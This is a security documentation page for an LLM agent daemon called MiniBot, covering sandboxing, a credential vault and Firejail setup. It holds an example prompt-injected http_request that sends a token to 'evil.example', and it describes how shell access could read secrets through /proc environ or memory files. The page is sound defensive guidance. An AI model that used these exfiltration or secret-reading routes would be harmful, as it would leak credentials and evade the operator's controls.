Security & Sandboxing¶
MiniBot exposes a minimal tool surface by default. The most sensitive capabilities are
python_execute, bash, and apply_patch — they can run arbitrary code or edit
host files when enabled.
Trust model¶
MiniBot is not a security boundary by itself. For untrusted workloads, or deployments with sensitive host data, run it inside an appropriately isolated environment.
The goal is safe defaults, explicit escape hatches and this document — not a guarantee the software cannot make. Two responsibilities are separate:
MiniBot’s: safe-by-default config, secrets the LLM cannot reach, and gates on consequential actions. These matter however the daemon is deployed, because the remote provider sees whatever reaches a tool call or the context, no matter how isolated the host is.
The deployment’s: OS, filesystem and process isolation for
bashandpython_execute. An owner who already isolates the host can reasonably accept the ambient risk.
The controls below are advisory. bash has no filesystem jail, so any path-level restriction
elsewhere — a confined file_storage root, a managed agent directory, a vault password file — is
reachable from a shell command unless the process itself is isolated. Read every “cannot” in this
documentation as “cannot through the tool that owns the check”.
Recommendations¶
Disable
tools.python_execunless you need it.Disable
tools.bashunless you need direct shell access.Keep
tools.bash.pass_parent_env = false(the default). Setting it totruemakes every variable the daemon runs with — including any${ENV_VAR}secret used inconfig.toml— readable with a singleenvcall. Add the specific keys a command needs toenv_allowlistinstead.Keep
tools.apply_patch.restrict_to_workspace = trueunless unrestricted edits are required.Keep
tools.file_storage.allow_outside_root = falseto prevent path traversal.Prefer explicit sandbox isolation for untrusted code (
sandbox_mode:none,basic,rlimit,cgroup, orjail; default isbasic).Run the daemon as a non-privileged user; mount only the data directory in Docker.
Store credentials in the
[vault]rather than inconfig.tomlor the process environment.
Credential vault¶
The vault keeps credentials encrypted at rest (AES-256-GCM, key derived from a password with
scrypt) and out of the LLM’s reach. Enable it with [vault] enabled = true after installing
the vault extra, and write secrets with minibot vault edit (see CLI Reference).
Secrets are destination-bound. An administrator binds a secret to one consumer in configuration and that consumer resolves it itself:
[[tools.mcp.servers]]
name = "github"
transport = "http"
url = "https://api.githubcopilot.com/mcp/"
auth_secret = "github"
${secret:NAME} is the general form: it works in any string value in config.toml, so provider
API keys, the Telegram bot token, and any other credential can live in the vault instead of in the
file. This is worth doing precisely because bash can read config.toml and cannot read the
vault:
[providers.openai]
api_key = "${secret:OPENAI_API_KEY}"
See Configuration Reference for the resolution rules. Note the boundary: this protects the credential at rest
in the file. Once resolved it sits in the daemon’s memory exactly as an ${ENV_VAR} value does,
so the process-memory limits below apply to both equally.
The model’s only vault-related capability is list_secrets, which returns names. There is no
get_secret tool and no secret:// reference the model can write into a tool argument — that
would turn the vault into a decryption oracle, letting a prompt-injected
http_request(url="https://evil.example", headers={...}) exfiltrate a token to an
attacker-chosen destination without the model ever seeing its value.
Unlocking¶
The password is read from [vault] password_file, else MINIBOT_VAULT_PASSWORD, else an
interactive prompt at startup. The prompt is the recommended method: it is the only one where
no password material touches disk or the process environment. After unlocking, only the decrypted
map is retained — never the password or the derived key.
The other two are supported for unattended deployments, but both are readable by the bash
tool, which runs as the same OS user:
password_file—bashhas no filesystem jail, so it can simply read the file.MINIBOT_VAULT_PASSWORD—bashdoes not inherit it (pass_parent_envdefaults to false), but it can read it out of/proc/<daemon-pid>/environ, which holds the environment the daemon was started with. Clearing the variable inside the process does not change that snapshot.
Whichever you choose, that file or variable becomes the thing to protect instead of the vault.
The vault file is excluded from git and the Docker build context by default (*.vault.yml).
Limits¶
This protects secrets at rest and from the LLM’s own tool calls. It does not protect against a fully compromised daemon process reading its own memory (
/proc/<pid>/mem) — the same trust boundary as any self-hosted secret manager running as one OS user.Whether a tool process can read the daemon’s memory depends on the host’s
kernel.yama.ptrace_scope. At1(the common desktop default) it cannot:bashis a descendant of the daemon, not an ancestor, so the attach is refused. At0— frequently the case inside containers — any same-user process can read that memory, and the unlocked secrets with it. Checkcat /proc/sys/kernel/yama/ptrace_scopeon the host you actually deploy to.No rotation, no recovery, no hot-reload: a forgotten password means starting over, and editing the vault while the daemon runs needs a restart to take effect.
${ENV_VAR}config secrets (token_env, static MCP headers) are a separate, older mechanism and are unaffected. The two coexist.Task workers get no vault: they load no bundled extensions and build their own tool set, so no vault-backed credential exists in a worker process.
Jail Mode (Firejail)¶
jail mode wraps the Python process with an arbitrary command prefix (e.g. firejail):
[tools.python_exec.jail]
enabled = true
command_prefix = [
"firejail",
"--private=/srv/minibot-sandbox",
"--quiet",
# "--net=none", # restrict network access from jailed processes
]
Firejail + artifact export example¶
Create shared directory:
mkdir -p /home/myuser/mybot/data/files/jail-shared chmod 700 /home/myuser/mybot/data/files/jail-shared
Configure Python exec:
[tools.python_exec]
sandbox_mode = "jail"
artifacts_allow_in_jail = true
artifacts_jail_shared_dir = "/home/myuser/mybot/data/files/jail-shared"
Configure Firejail wrapper:
[tools.python_exec.jail]
enabled = true
command_prefix = [
"firejail",
"--quiet",
"--noprofile",
"--caps.drop=all",
"--seccomp",
"--whitelist=/home/myuser/mybot/data/files/jail-shared",
"--read-write=/home/myuser/mybot/data/files/jail-shared",
"--whitelist=/home/myuser/mybot/tools_venv",
]
Notes:
artifacts_jail_shared_dirand the Firejail whitelist path must be identical.tools.python_exec.python_path(orvenv_path) must point to an interpreter visible inside Firejail.--noprofileavoids host distro defaults that may block home directory executables.Ensure
firejailis available in the runtime image or on the host.